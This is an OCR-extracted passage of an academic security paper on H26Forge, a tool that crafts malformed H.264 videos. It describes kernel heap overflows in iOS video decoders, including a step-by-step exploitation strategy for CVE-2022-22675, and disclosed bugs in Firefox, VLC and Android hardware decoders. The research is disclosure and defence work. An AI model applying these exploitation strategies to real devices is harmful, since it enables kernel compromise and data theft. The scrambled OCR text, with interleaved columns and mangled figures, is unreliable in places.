lucky choices for variable types lead to a loop of the form ber variable of a decoder context object; after the array is
for (Uint8 i = 0; i < 256; i++) . The loop body cor-  lled, subsequent RPS objects overwrite the remainder of the
rupts a heap object used by the decoder, but does not over owcontext object and then adjacent heap allocations.
into adjacent heap objects. After 180 seconds, a watchdog With the help of H26BRGE, we con rmed that a mali-
forces a panic and device restart. cious video can overwrite heap memory. Through reverse
Apple's assessment was that “[p]arsing a maliciously engineering of the decoder, we identi ed an exploitation strat-
crafted video le may lead to unexpected system termina- egy that allows the attacker to take control of the kepuel
tion.” register and used H2@&RGEto develop a proof-of-concept
exploit following this strategy. Our strategy overwrites an-
5.2 Quick proofs of concept other membervariab_le within the context object,_ so it does not
require heap grooming. However, it does require knowledge
In some cases, a security analyst who is auditing video-Of kernel heap layout, so in an end-to-end exploit would need
handling code may have reason to believe that a bug exists—to be combined with a kernel memory disclosure bug.

for example, she may spot a missing bounds check in the The member variable we overwrite is a pointer to an object
that has a virtual destructor, called when decoding ends and

18gpeci cally, the array stores adjustéit offsets, so théth EPB, at byte
offsetb, is recorded a#\[i] 8(b i). The 257th EPB overwriteiswith 17An H.265 video can have at most 65 RPSes: 64 inthe SPSand 1ina
8(bos7 256), and as a result the 258th EPB stoBebysg  8(bs7  256) ; slice header. AppleD5500.kext's SPS RPS array is length 65 to accommodate
NALU length limits keepb,sg from being more than 8 timdss;. this, but it does not impact our analysis.




the context object is freed. By overwriting this pointer with the SPS object, this over ow can overwrite at most 832 bytes
the address of a fake object that itself points to a fake vtable,past the SPS object.
we can arrange to have any address of our choosing called in  The SPS object is contained in an array of length 32 in an
place of the legitimate destructot. AppleAVD.kext H.264 User Context. The SPS is indexed by
We did not attempt to develop an end-to-end exploit chain; its seq_parameter_set_id , with subsequent SPSes with the
however, Apple's assessment was that this bug, like Bug 1,same ID overwriting previously decoded ones. Immediately
may allow an app “to execute arbitrary code with kernel priv- after the SPS array is a PPS array of length 256, similarly
ileges.” indexed bypic_parameter_set_id . This means that an
H26FoRGEWas crucial in the development of this video, over owing HRD parameter will impact either a neighboring
as given the lack of byte-alignment in exp-Golomb encoded SPS or PPS, depending on tex)_parameter_set_id . An
values, hand tuning this le would be dif cult. Updating the ~SPS object is 2224 bytes long and a PPS object is 604 bytes

video to target new addresses, or overwrite another object islong, so we can either overwrite the rst part of a neighboring
straightforward via our video transform. SPS or completely rewrite the PPS at index 0 along with the

start of the PPS at index 1.
For the overwrite to have an effect, though, the over owing
5.3 Interactive testing HRD parameter must be decodaiter a benign SPS or PPS
has already been decoded to modify what the parameters
The third way an analyst can use HZBRGE s to interac-  should be, otherwise anything written in the over owed space

tively test video decoding as part of a complete examination, il be cleared out when decoding the benign SPS or PPS.
or even root-cause analysis, of an in-the-wild exploit. For

example, CVE-2022-22675 is an out-of-bounds write due to
a missing bounds check in the AppleAVD.kext affecting iOS
versions up to 15.4. Google Project Zero's write up of the
bug [43] includes a partial proof-of-concept video which does
not lead to a crash.

We reverse engineered AppleAVD.kext and used a kernel

The Project Zero proof-of-concept. Using H26FORGE,

we are able to explain why the proof-of-concept video in
the Project Zero writeup does not cause a crash. First, the
video NALUSs are not properly ordered. It starts with an SPS
of ID 31 containing the out-of-boundpb_count_minusl,

a PPS of ID 0, and a slice pointing to PPS 0. As is, the
malformed SPS would be decodaeforethe benign PPS, thus
%ny overwritten values would be ignored by the subsequent
parsing of the PPS. Second, the PPS points to an SPS of ID
0, but since that does not exist at decoding time, the decoder
Notation. When describing SPSes and PPSes, we includehalts. This proof-of-concept video is quite large, at 20 MB,
the ID in the subscript (e.gSPSp, PPSp). For slices we but we veri ed by stepping through the Corellium kernel
include the PPS ID it points to in the subscript and the type debugger that decoding stops when the rst slice cannot nd

in a superscript (e.gSIiceE%pSe D a valid SPS.

The CVE-2022-22675 bug.This bug was a missing bounds A" H26FORGE-produced proof-of-concept. We outline
check for thecpb_count_minus1syntax element located in the steps necessary to construct a v_ujeo that induces a con-
a function callecparseHRDvhich recovers the hypothetical ~ rolled kernel heap over ow by overwriting a PPS parameter.
reference decoder (HRD) parameters, nested within SPS pard-19ures shows our overall strategy. More details about our
ing. SPSes can have two different HRD parameters, and their N2l Stép are in Appendix\.

usage and syntax elements are described in Annexes C and Btep 1: correct ordering. We use H26BRGEt0 generate a

of the H.264 specZ3]. According to the speapb_count_ video with the following NALUs:SPS, PP, SPS, Slice,,
minus1 should have a maximum possible value of 31, but andSlice). The second SPS NALU is where tharseHRD
because there is no bounds check and the value is exp-Golomigver ow will exist to corruptPPS.

encoded, we can set it to the maximum value AppleAVD .kext Step 2: x the IDs. We create a video transform to adjust
can store: 255. This parameter is used as a loop bound tqyarameter IDs. We set the second SPS's ID to 31 so it will
parse two exp-Golomb encodeht32 values that are not  pe stored at the end of the SPS array. With HA8EEwe
bounds checked, and an additional single bit. As these areproduce both a raw H.264 le and an MP4 vid&€owith the

stored in arrays of length 32, when the counter goes past thefo|lowing order: SPS), PPS, SPS1, Slicd), Slice.
expected length AppleAVD.kext will begin to write into the

rest of the SPS object and then past the SPS's allocated mem- 19MP4 les contain anavcCatom with all SPSes and PPSes together.

B fwh th d HRD t . MP4 parsers will decode all SPSes, then PPSes, which con icts with the
ory. because ol where the secon parameters are Nyegired order of events. The MP4 muxer in H28®&E is modi ed to

only add the rst observed SPS and PPS todakeCatom, and subsequent

18Arm Pointer Authentication, which would have prevented us from faking parameter sets tmdatatoms. Thus, we cannot hit the vulnerable code-path
a vtable, was not introduced until the Apple AR, [whereas the last Apple by thumbnailing, but may be able to target local privilege escalation. An SPS
SoC to use AppleD5500.kext was the A11. overwrite may be possible through thumbnailing.

H26FoRGEwas crucial for producing the video inputs for
these debugging sessions.




+ %LWVWUHBP 8VHU &RQWH[W LQ 0 in the iOS kernel debugger while playing the video from the
oas . previous step allows us to inspect memory and identify write
636

R targets in the PPS. We describe an exploit strategy that uses

j the capability described so far to overwrite them_ref idx_
I0_active_minusl PPS parameter.
636 336 6OLFHV This parameter is used as a loop bound in prediction weight
636 Cm table syntax parsingaarsePredWeightTable, in which cer-
[ t tain 16-bit values are copied from the bitstream to an array
member variable in the H.264 User Context object. According
j to the spechum_ref_idx_|0_active_minusl should be at
most 31, a limit that AppleAVD.kext correctly checks when
omk parsing PPS parameters. By overwriting this parameter with
g L 336 EOLEHY larger values using the rst-stage over ow, we can exceed
EDI its limit and cause thparsePredWeightTable loop to write
past the end of the array allocated for it within the H.264 User

SDUVH+5'

636 336 60LFHV

[

60LFH [ [
QXPBUHIBLG[BGHIDXOWBDFWLYHB(

[
SDUVH3UHG:HLJKW:

GOLEHV Context object, triggering secondover ow. This is depicted

6015 H

] 636 336 _ ) !
: CDI .EI in part (3) of Figure3.
[ i In a video transform, we setpb_count_minusl to
60 L — stop looping at the position it can writeum_ref _idx_10_

'HFRGHG VOLFHJLWH

KHDGHUYV  GLUHEWL] active_minusl, and use one of the exp-Golomb encoded

HRD parameters to set it to its maximum value of 255.
Figure 3:Exploiting CVE-2022-22675.The left-hand side

shows the correctly ordered H.264 bitstream, read from top
to bottom, and the right-hand side shows the decoded con
tents in memory as they are lled in. (1) The initial SPS
and PPS parameters are read, each with IBRY, PPS).

(2) An SPS with ID 31 is parsed, where we use an out-of-
boundscpb_count_minuslin parseHRDo overwritePPS.

(3) PPS is overwritten with an out-of-boundsum_ref _idx__
I0_active_minusl , used in Slice decoding. (4) The over-
written num_ref_idx_|0_active_minusl causes a second
over ow in parsePredWeightTable, writing a 16-bit value

Step 5: satisfy constraints and enable second over ow.
Arranging for the rst over ow to overwritenum_ref_idx_
I0_active_minusl with a larger value is not enough. We
must make sure that other PPS parameters we over ow take on
reasonable values to avoid an early exit from video decoding
because of a failed AppleAVD.kext check. We must also make
sure that slice headers that refer to the PPS parameters we
overwrite are Inter predicted and do not hawen_ref_idx_
active_override_flag  set; otherwise prediction weight
table syntax parsing is skipped. We must also Il in the

B, greater than 255 at a controlled offset away, with inter- slice headers with enough prediction weight table parameters
' to account for theverwrittenloop bound, not the original

mediate memory set to a default value. (5) Arbitrary length X f31
values can be written by adjusting the offset in each subse-maX!mum orsl. N ) ) )
With these additional constraints satis ed, we can trigger a

quent slice, writing the values backwards. - |
kernel panic due to an out-of-bounds write past the allocated

Step 3: add the overwrite. With our video that contains memory of the H.264 User Context.

the IDs in the correct order, we can now change the syntaxStep 6: controlling the second over ow. Unfortunately, the
elements o8P S$; to trigger CVE-2022-22675. Parts (1) and crashing video is not immediately useful for heap corruption,
(2) of Figure3illustrate the ordering and this over ow. for two reasons. First, the overwrite we trigger is so large
The HRD parameters are part of an optional syntax elementthat it over ows not only the User Context buF also _the kerne]
nested inside an SPS. We rst use a video transform to ensure€a@p as a whole, because the loop bound is derived by sign
that the parameters will be parsed, then wecget count extending thewum_ref_idx_I0_active_minus1 parameter
minusZto 255. To understand how the syntax elements in the TOm 8 bits to 32. Second, the 16-bit values the loop writes to
loop are used during the overwrite, we set both exp-Golomb the heap are badly constrained: Each must be between 0 and

encoded values to a noticeable pattern, and all the byte-sized255 or the loop stops after writing it.
ag values to true. These two problems neatly solve each other.

We now have a video with the following ordeBPS, By arranging for the bitstream to include a larger-than-255

PPS), SPS.., Slicd,, Slice, whereSPS,, contains the over- value when we have written enough, we can get the loop to
writvsa). ¥ % ] % exit early despite the huge loop bound. The 16-bit values

before the last one must still be between 0 and 255. Part (4)
Step 4: control the overwrite location, and produce a sec-  of Figure3 shows this arrangement, with the last value written
ond over ow. Setting a breakpoint at slice header decoding denotedB,,.



If we include further slices that reference the PPS param-regardless of actual video encoding size. Firefox relied on
eters we over owed, we can cause the over owing loop to this MP4 metadata to create video frames, but because the
execute again, copying a different part of the bitstream into encoded frame size was larger than expected, we were able to
the same User Context object. By workibgckwardswith trigger a buffer over ow in the GPU utility process. This was
each slice writing fewer bytes than the ones before, we avoid patched by changing the utility process to rely on the returned
undoing the work done earlier in the exploit. This technique frame parameters rather than the stored metadata.

is illustrated in part (5) of Figur8. The rst slice writes the Due to the GPU utility process crashing, Firefox fell back
out-of-bounds valu8,, and stops; the second writBg 1 and to decoding the video in software. From the provided analysis,
stops; and so on, until aft&rslices we have writtegk arbi- the Firefox software decoder took frame size parameters from

trary bytes at an arbitrary offset from the User Context object. only the rst SPS and did not adjust to SPS changes. Thus,
We provide more details on how we arrange the bitstream in because our encoded video has an initial SPS with frame size
AppendixA. parameters bigger than the second SPS, Firefox was unable
Exploitation. We have used H265RGE to automate the to Il up the frame contents of slices after the SPS change,
creation of a video that uses the described exploit strategy to2d We were able to read the contents of memory. Figure
write an attacker-chosen payload at an attacker-chosen offseBNOWs what the user saw. Firefox patched this by adding code
from the H.264 User Context object in the iOS kernel heap. t© US€ the correct SPS when creating a frame size.

As with our Bug 3 from Sectios 2, leveraging this heap- H26FORGE can set the width and height of an MP4 to

over ow primitive into arbitrary kernel execution is likely to either the actual frame size, a random value, or a user speci ed

require heap grooming and a kernel address disclosure bug/@/u€: without having to worry about MP4 atoms. It can also

with the presence of pointer authentication in SoCs that useJenerate videos with multiple SPSes. By adjusting the SPS
AppleAVD compounding the challenge. A recent presentation @M€ Size parameters with a video transform, H@8BE
by Tarakanov and Labunets discusses these challenges ant?n control how much information is read out.
proposes some AppleAVD exploitation strategi€s]|]
6.2 VLC use-after-free

6 More H26FORGE Findings On VLC for Windows version 3.0.17, we discovered a use-
after-free vulnerability in FFmpeg's libavcodec that arises

We describe more issues discovered by using H¥6GE when interacting with Microsoft Direct3D11 Video APIs. We
as a grammar-aware fuzzer and to generate proof-of-concepfound this by testing generated videos in VLC. The bug is
videos. We start by showing that heavily fuzzed desktop triggered when an SPS change in the middle of the video
software, such as Firefox and VLC, can have vulnerabilities forces a hardware re-initialization in libavcodec. If exploited,
unearthed through our technique of producing H.264 videos an attacker could gain arbitrary code execution with VLC
with unexpected syntax element values. Then, we describeprivileges. We reported this issue to VLC and FFmpeg, and
issues that primarily affect hardware video decoding, such asthey have xed it in VLC version 3.0.18 and FFmpeg commit
ngerprinting and vulnerable implementations. cc867f22°

The use-after-free comes from libavcodec's multithreaded
. . . handling of hardware contexts. VLC will create a libavcodec
6.1 Firefox crash and information leak context, and send each NALU to this context for processing.
We tested generated videos on Firefox 100 as described in-ibavcodec assigns each NALU to a thread, which interacts
Section5. 1, and discovered an out-of-bounds read that causesWith the hardware context to decode a frame. When a libav-
a crash of the Firefox GPU utility process and a user-visible ¢0dec thread encounters a new SPS, it frees the old hardware
information leak. The issue arises from con icting frame CONtextand re-initializes a new one with the new SPS param-
sizes provided in the MP4 container as well as multiple SPSes®ters: It then sends the updated hardware context to the other
across video playback. Note that both the crash and infor-threads for synchronization. _
mation leak are caused by a single video. To exploit this Unfortunately, libavcodec forgot to update tmainthread

vulnerability an attacker has to get the victim to visit a web- With this new context, so when the video nishes and VLC
site on a vulnerable Firefox browser. We reported this nding tries to close the libavcodec context, the stale hardware con-

to Mozilla, and it has been assigned CVE-2022-3266 and text address is freed again. Before freeing the address, libav-
patched in version 108p]. codec checks the data at the address to determine whether to

Since Firefox cannot play raw H.264 les, we mux our call avirtual destructor. Itis possible that an attacker-groomed
generated videos into an MP4 le. The MP;l le contains N€ap may lead to a use-after-free and code execution as the
frame width and height metadata, but this information does VLC Process.

not need to match the encoded data. For every MP4 video 20gpine: https://github.com/FEmpeg/FFmpeg/commit/
we created, we set the width and height to a small constantcc867f2c09d2b69cee8aleccd62aff002cbbfell
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Figure 5:Luma Chroma Thief. On the left, we vertically
Intra predict at the top-most row of macroblocks. On the
right, we horizontally Intra predict at the left-most column of
macroblocks.

motion vector differences. Because these syntax elements are
CABAC/CAVLC encoded, the browser will forward them to
the underlying hardware decoder. For Intra predicted values,
we nd that edge-most Intra prediction, which we discuss
about more in the next section, can illuminate hardware differ-
ences. Similarly, motion vector differences set to values that

. are larger than the frame size have different results depending
With H26FORGE, we can generate a small proof-of- o i the hardware decides to (1) trim the value: (2) ignore

concept video with two SPSes that triggers the vulnerability. {4 value; or (3) perform a modulo operator on the value with
A better understanding of how encoded videos impact VLC ¢, me internal value.

memory may allow a security researcher to develop an exploit
with H26 FORGE

Figure 4:Information leak in Firefox. A video that contains
two SPSes with the second having a smaller vertical frame
size causes the space to be lled with uninitialized memory.

Most video decoders have some kind of error resilience
features to still display an image even if there is an error in
the encoded video, which can also serve as a ngerprinting
6.3 Issues found in hardware and drivers mechanism. Some decoders decide to cover up errors by
overwriting the rest of the frame with a speci c value, often
0x00 or 0x80, copy over the last correctly decoded frame, or
perform a neighboring Intra prediction to paint over the error.

We tested the videos produced by HZ8¥6Eon a variety

of Android devices with varying hardware video decoders,
all listed in Table2. In doing so, we found issues that span
different hardware manufacturers, and more serious vulner-

abilities in hardware decoders and their associated kernel6.3.2 Luma Chroma Thief—Multiple device informa-
drivers. To target a breadth of video decode IP, we went with tion disclosure

older, cheaper SoCs, but note that some of our ndings (such

as Luma Chroma Thief) impact newer MediaTek devices asA common vulnerability across decoders allowed us to re-

well, and the videos produced by H26RGEcan be usedto ~ Cover stale or uninitialized data from the decoder. We call
test new and future devices. this Vulnerability Luma Chroma Thief (LCT) Figu@gives

a high level overview of the issue. To exploit this, an attacker
needs to convince a victim to play the video where the attacker
can see the output.
Perhaps unsurprisingly, we nd that videos created with  LCT works by exploiting Intra prediction at the top-most
H26FoRGE produce frames with different pixel values when and left-most edges of a frame. On the top-most row of mac-
decoded on different devices, and therefore can serve asoblocks, vertical Intra prediction should not be possible be-
a browser ngerprinting mechanism through the HTML5 cause there are no reference macroblocks. We nd that when
video element and the new WebCodecs AR). [ Finger- we construct a video with these operations, we can recover pix-
printing is possible even with spec-conforming videos, but els from the most recently decoded video, or videos decoding
non-conforming videos distinguish some otherwise equiva-in parallel. We note that this would only take the bottom-most
lent implementations. row of pixels, so entire frame reconstruction is not possible
(Browsers expose many APIs usable for ngerprinti@g| with this method. Because chroma and luma are stored sepa-
so we do not claim that an additional mechanism will upset rately, we can choose which components to read. On some de-
the balance of tracking and anonymity on the web.) vices, if (1) enough time has elapsed, (2) no video has been re-
We focus on exploring entropy-encoded prediction vari- cently decoded, or (3) there is no other decode going on at the
ables, such as Intra prediction mode, and Inter prediction same time, we can recover uninitialized data from the decoder.

6.3.1 Fingerprinting



Table 2:Evaluated devices, sorted by VPUAII run an Android Agent, with the Chromebook relying on Android Runtime on
Chrome OS 35]. The “HDT” column gives the number of hardware decoding threads. EMUI and MIUI are modi cations by
Huawei and Xiaomi respectively. The “Kernel” column gives the version number of the Linux kernel.

Device Type SoC VPU HDT OMX Name Android Version Kernel

Odroid C2 SBC Amlogic S905 Amlogic Video Engine 1 OMX.amlogic.avc.decoder.awesome  6.0.1 3.14.29
Pine A64 SBC Allwinner A64 CedarV 4 OMX.allwinner.video.decoder.avc 7.1.2 3.10.105
Huawei Honor 9x Phone HiSilicon Kirin 710 HiSilicon VDEC V200 16 OMX.hisi.video.decoder.avc 9 (EMUI 9.1.0) 4.9.148
HP Chromebook 11a Netbook MediaTek MT8183 MediaTek VPU 8 c2.vda.avc.decoder 9 5.10.114
Lenovo TB-7305F Tablet MediaTek MT8321 MediaTek VPU 4 OMX.MTK.VIDEO.DECODER.AVC 9 4.9.117
Xiaomi Redmi Note 8 Pro Phone  MediaTek Helio G90T MediaTek VPU 16 OMX.MTK.VIDEO.DECODER.AVC 9 (MIUI 11.0.4.0) 4.14.94
Xiaomi Redmi 9C Phone MediaTek Helio G35 MediaTek VPU 16 OMX.MTK.VIDEO.DECODER.AVC 10 (MIUI 12.0.7) 4.9.190
Huawei MediaPad M5 Lite Tablet HiSilicon Kirin 659 PowerVR D5500 8 OMX.IMG.MSVDX.Decoder.AVC 8 (EMUI 8) 4.4.23
Huawei Honor 8 (FRD-AL10) Phone HiSilicon Kirin 950 PowerVR D5500 8 OMX.IMG.MSVDX.Decoder.AVC 7 (EMUI 5.0.1) 4.1.18
Dragonboard 410C SBC Qualcomm Snapdragon 410 Qualcomm Venus 8 OMX.qcom.video.decoder.avc 5.1.1 3.10.49
Galaxy Tab E Tablet Qualcomm Snapdragon 410 Qualcomm Venus 8 OMX.qcom.video.decoder.avc 7.1.1 3.10.49
Nano Pi M4 SBC Rockchip RK3399 RKVdec/Hantro 6 OMX.rk.video_decoder.avc 8.1 4.4.167
Odroid XU4 SBC Samsung Exynos 5422 Samsung MFC 8 OMX.Exynos.AVC.Decoder 4.4.4 3.10.9
VANKYO MatrixPad S21 Tablet ~ UNISOC SC9863A UNISOC VSP 10 OMX.sprd.h264.decoder 9 4.4.147
VANKYO MatrixPad S10 Tablet ~ UNISOC SC7731E UNISOC VSP 10 OMX.sprd.h264.decoder 9 4.4.147

To generate LCT, we start with a video that contains an SPS,Table 3:Luma Chroma Thief results for test devices.We
PPS, and | slice and we remove all the residue, disable therun both horizontal (HLCT) and vertical (VLCT) LCT in
deblocking Iter, and set the macroblocks to be a target mac- parallel with another video and sequentially right after another
roblock type. Listingl shows a video transform to generate Video has been decoded. Device are grouped by VPU.

LCT. Based on the speci cation, we can do Intra prediction at

three different granularitied6 16,8 8,and4 4. Note Device HLCT-P  HLCT-S  VLCT-P  VLCT-S
that the8 8 granularity forces the block to go through the S_droigﬁiz lNJ/A_\ _ Lhi'ef' B/A _ Lhi_ef_

. . . Ine ninit ninit ninit ninit
deblocking lter [30], so the8 8 predicted blocks will not 1y awei Honor ox 0x80/Thief 0x80/Uninit 0x80/Thief Ox80/Uninit
provide the exact recovered values. When testing LCT on HP Chromebook 11a U\\/f:gxglg; y \\/(:(t))xslg; Uninit ~ Uninit
devices, we nd all granularities produce consistent _results. Lenovo TB-7305F VOXL0.  YOXL0: YO0 YOxL0:
Even though only the top-most or left-most columns will read siaomi Redmi Note & P UE)/:%ESO UX%SO U\SO.X*?O USO.X?O

. 1 t t
from buffers with unexpected values, we copy the same Intra oo Redmioe T o0 ox00 Uit Ut
prediction mode for the rest of the slice to amplify the data. :uawei mediazadF gg I/-\itLe10 gx888 gxgg gxgg gxgg

. . . - uawel Honor - X X X X
We test the vertical and horizontal LCT videos against a pragonboard 41éc ) 0x00 0x00 Thief Thief
target video when running in parallel and sequentially. Paral- ﬁalaxxé ‘TQZE gxgg gxgg OThggf ghé%f
. . ano Pl Xi Xi X Xi
lel decoding means we start the target video, start LCT, and ogroid xu4 _ 0x00 0x00 0x80 0x80
stop the target video. In this scenario, each video is consum-VANKYO MatrixPad S21 Thief Uninit Thief Uninit
VANKYO MatrixPad S10 No Output No Output  Thief Uninit

ing a single thread of the hardware video decoder. When —— : —
X . . Thief: LCT was successful in stealing pixels.
testing sequentially, we play LCT after the target video has uninit: LCT was able to read uninitialized data.
i i i i _ No Output: The surface value was black, and output to a le was empty.
Stoppgd, thus testlng |T there is any leftover data m,the hard Hex numbers: the value of the indicated component(s) (e.g., Y:0x10; UV:0x80) or the
ware video decoder. Figufeshows what LCT looks like on  value of each YUV component (e.g., 0x80).

i i N/A: The Odroid C2 has a single-threaded decoder, so parallel decoding is not possible.
the VANKYO S21, which allows for parqllel Stealmg' Table 0x80/Thief/Uninit: the Honor 9X produced a frame that was mostly error concealed,
3 shows the results for all our target devices. except for a single macroblock.

Because the values that we modify are in the CAVLC/
CABAC encoded macroblock layer, the issues lie at the hard-where to start writing. The log messages indicated that a
ware video decoder level, either in the rmware or hardware. first_mb_in_slice  larger than the frame size may lead to
Furthermore, all layers (browser, decoder, kernel driver) that an out-of-bounds access. We found evidence of this in the
inspect the video cannot determine whether a video containsD5500 in Kirin SoCs, but were not able to produce further
LCT logic without decoding it completely. results. For the MediaTek VPU we are able to show a denial-
of-service vulnerability on the Redmi Note 8 Pro. This is
available from video thumbnailing, so an attacker just has to

6.3.3 Hardware memory traversal send a video where a victim may get a thumbnail.

During our analysis, we found log messages from the D5500

in Kirin SoCs and the MediaTek VPU that indicate the ability Kirin SoC D5500. In Kirin SoC devices with the D5500

to traverse hardware memory using the ASO feature. ASO decoder, we found that we can traverse the decoder stream
allows multiple slices to make up a single frame, and uses thebuffer heap virtual memory by controlling the frame size in
first mb_in_slice  slice header syntax element to denote the SPS along with thi&rst mb_in_slice . By adjusting



Redmi Note 8 Pro MediaTek VPU. A video with the
same out-of-boundirst mb_in_slice  leads to a denial-
of-service vulnerability on the MediaTek VPU located in the
Redmi Note 8 Pro.
(a) Target The MediaTek Helio G90T SoC implements a security
feature called Device Access Permission Control driver (de-
vapc). Devapc enforces device-de ned access controls using
TrustZone, and triggers a violation interrupt on unauthorized
accesses. Attempting to decode a video with an out-of-bounds
first_ mb_in_slice  triggers a devapc violation and causes
the device to reboot. The reboot happens because the applica-
tion processor attempts to access video decoder memory at an
out-of-bounds address, and devapc cBIG()after logging
the violation?” The crash does not happen every time, so we
suspect itis a race condition in the MediaTek video decoder
(e)sv4 4 fysvs 8 (g)Sv1i6 16 driver. Although other MediaTek VPUs logged violations,
they did not cause reboots.

(b)PV4 4 (c)PV8 8 (d)PV16 16

6.3.4 Kirin SoC D5500 heap over ow

We found a heap over ow in Kirin SoCs running the D5500
video decoder, which includes the Honor 8 and the MediaPad
M5 Lite. The video uses the FMO feature of H.264; Kirin
SoCs were among the few to support this feature. This vulner-
ability is available from thumbnailing, so an attacker just has
to send a video to a victim. This vulnerability does not lend
(kKySH4 4 (hSH8 8 (m)SH16 16 itself to more than a denial-of-service as kernel guard pages
_ ) prevent neighboring heap allocations from being impacted.
Figure 6: LCT results on the VANKYO S21 with a FMO allows a frame to be split into up to eight slice groups,
UNISOC VSP. The target video is the opening frame of Big  gq that if any part is lost in transit the image can still be par-
Buck Bunny B2]. 8 8lntra prediction goes through an extra. a1y reconstructed. FMO is signaled in the PPS by denoting
deblocking process, regardless of settings. Parallel verticaline number of slice groups to use as well their organization
(PV) LCT takes the bottom-most pixels of the target video, yithin a frame. Because each macroblock in the frame can
and parallel horizqntal (PH) LCT takes the right-most pixels g in one of eight slice groups, the decoder maintains a map
from the bottom-right-most macroblock. We were not able ¢ macroblock address to slice group called the Slice Group
to derive a pattern from the recovered uninitialized data in Map (SGM). The D5500 decoder allocates a hardware SGM
sequential vertical (SV) and sequential horizontal (SH) LCT. ¢ size 3600 bytes and enforces this limit by only allowing
videos of width 1280 pixels to have FMO support. But be-
these syntax elements with a video transform, we could trigger cause the height component is not checked, it is possible to
MMU page faults that the kernel would log in the stream create an SGM larger than 3600 bytes, causing a heap over-
buffer heap address range. Per the source Cotfe stream  ow, The user-side library allocates an SGM that is as large
buffer heap contains structures to decode the video, such ags the frame and passes it to the driver. When the driver at-
rmware contexts, SPSes, and PPSes, and are managed by\empts to copy the user SGM buffer to the hardware, it writes
the device, which may contain device corruptable data. past the allocated space and triggers a kernel panic due to a
We were limited in our ability to determine what the ex- guard page access. Though there is an assert in the code to
act read or write operations were doing because the D5500prevent an over ow, it is not blocking and merely prints an
rmware runs on a Imagination Technologies' custom DSP assert failure.
architecture called MTXZ1], for which we were not able to We use H26BRGEto generate videos that use FMO with
nd adequate tooling. a xed width of 1280 and increasing height to determine the
bounds of our over ow. Though H266RGE cannot decode
FMO videos, it can generate videos that use it.

(hYPH4 4 ()PH8 8 ()PH16 16

210nline: https://github.com/Honor8Dev/android_kernel_
huawei_FRD-L04/blob/master/drivers/vcodec/imagination/ 220nline: https://github.com/MiCode/Xiaomi_Kernel_
D5500_DRM/decoder/vdec/kernel_device/libraries/vdecdd/code/ OpenSource/blob/begonia-r-oss/drivers/misc/mediatek/devapc/

vdecdd_mmu.c devapc-mtk-common.c#L333



6.3.5 CedarV uninitialized memory leak fuzzer that provides an H.264 test stiteyut they describe

) _ ) _ slice data testing via mutation fuzzing. It is unclear if it can
On the Pine A64 with the CedarV video decoder, we dis- generate syntax-compliant encoded H.264 videos. None of
covered a new way to exploit the Android ION vulnerability - these fuzzers focus on video generation at the syntax level;
found in [47], which allows for kernel information leakage. they also ignore CAVLC and CABAC encoded elements.

We leak out uninitialized memory by creating a video with  The security of hardware accelerators is a focus of much re-
H26FORGEwhose rstslice NALU is an IDR B slice. The  cent work. Olson, Sethumadhavan, and Hlf[[systematize
IDR NALU leads CedarV to create an ION allocation for the threats posed to users by insecure third-party accelerators.
a frame, but the B slice type causes an error, so CedarV|n exemplifying these risks, there is much academic and indus-
returns the uninitialized ION memory. The issue only arises try research looking at third party accelerators, such as neural
when CedarV manages the frame allocation; the Android OS processing units7, 32, 39, digital signal processors2g,
handles frame management when the output is to a Surfacezq], graphics processing unitég], wireless coprocessors,|

preventing an information leak. 9, 12, 20], security coprocessor8], 46], and, as described
We defer to Section 6.4 ofi[/] to describe the exploitation  above, hardware video decodet8[16, 45).
of this vulnerability.

8 Conclusion
7 Related Work
We have described H2&RGE, domain-speci ¢ infrastruc-

We are not familiar with any existing tool that can program- ture for analyzing, generating, and manipulating syntactically
matically modify the syntax elements of an H.264 encoded correct but semantically spec-non-compliant video les. Us-
video. The current swiss-army knife of the video world, FFm- ing H26FORGE, we have discovered (and responsibly dis-
peg?® can decode and encode common H.264 videos, butclosed) multiple memory corruption vulnerabilities in video
errors out on spec-non-compliant videos and does not supdecoding stacks from multiple vendors.
port many H.264 features. The H.264 reference dectder, = We draw two conclusions from our experience with
which is the ground truth for the H.264 spec, does not keep H26 FORGE
the syntax elements in memory as it focuses on producing an First, domain-speci c tools are useful and necessary for
output image. Even tools for debugging video les, such as improving video decoder securiteneric fuzzing tools have
Elecard's StreamEye, are used to visually inspect videos to  been used with great success to improve the quality of other
adjust a video encoder rather than edit syntax elements. kinds of media-parsing libraries, but that success has evidently

Several exploitable vulnerabilities in video decoders have hot translated to video decoding.
previously been demonstrated. Gong and1®j fdescribe The bugs we found and described in Secfidrave been
an exploitable vulnerability in the Venus rmware found in  present in iOS for a long time. We have tested that our proof-
Qualcomm Snapdragon SoCs. Donenfdld found a ker-  of-concept videos induce kernel panics on devices running
nel overwrite vulnerability in the AppleD5500.kext for iOS i0S 13.3 (released December 2019) and iOS 15.6 (released
10. Tarakanov and Labunet4q found an out-of-bounds  July 2022). Binary analysis suggests that the rst bug we
write vulnerability in AppleAVD.kext and discuss its inter- identi ed was present in the kernel as far back as iOS 10, the
nals. They also discuss CVE-2022-22675, but do not provide rst release whose kernel binary was distributed unencrypted.
details on how to extend the initial over ow. We make H26BRGEavailable ahttps://github.com/

Format-aware fuzzers such as QuickFuz][and its h26forge/h26forge under an open source license. We hope
derivatives B7, 44] can generate test inputs based on a gram-that it will facilitate followup work, both by academic re-
mar, but they cannot produce the entropy-encoded valuessearchers and by the vendors themselves, to improve the
needed for H.264. For example, FormatFuzZes fopts software quality of video decoders.
to replace compressed data in certain le formats with ran-  Secondthe video decoder ecosystem is more insecure than
dom bytes that can “be successfully decompressed with highpreviously realized Platform vendors should urgently con-
probability.” FuzzGen22] generates fuzzers for libraries by  sider designs that deprivilege software and hardware compo-
reviewing their real world usage and produces LLVM lib- nents that process untrusted video input.
Fuzzer stubs. The FuzzGen authors evaluated FuzzGen on Browser vendors have worked to sandbox media decoding
Android codec libraries and found 17 vulnerabilities in H.265 libraries (see, e.g., Narayan et &4]); so have messaging
and H.264 codec handling. Synopsis Defensics is an industryapp vendors, with the iMessage BlastDoor process being a
notable examplel[8]. Mobile OS vendors have also worked

230nline: https://www.ffmpeg.org/

240nline: https://vcgit.hhi.fraunhofer.de/jvet/JM . 260nline: https://lwww.synopsys.com/software-integrity/

250nline: https://www.elecard.com/products/video-analysis/ security-testing/fuzz-testing/defensics/protocols/h264-
streameye. file.html




to sandbox system media servéfg hese efforts are under-  [7]
mined by parsing video formats in kernel drivers.

Our reading of reverse-engineered kernel drivers suggests
that current hardware relies on software to parse parameter[s]
sets and populate a context structure used by the hardware in
macroblock decoding. It is not clear that it is safe to invoke
hardware decoding with a maliciously constructed context
structure, which suggests that whatever software component
is charged with parsing parameter sets and populating the
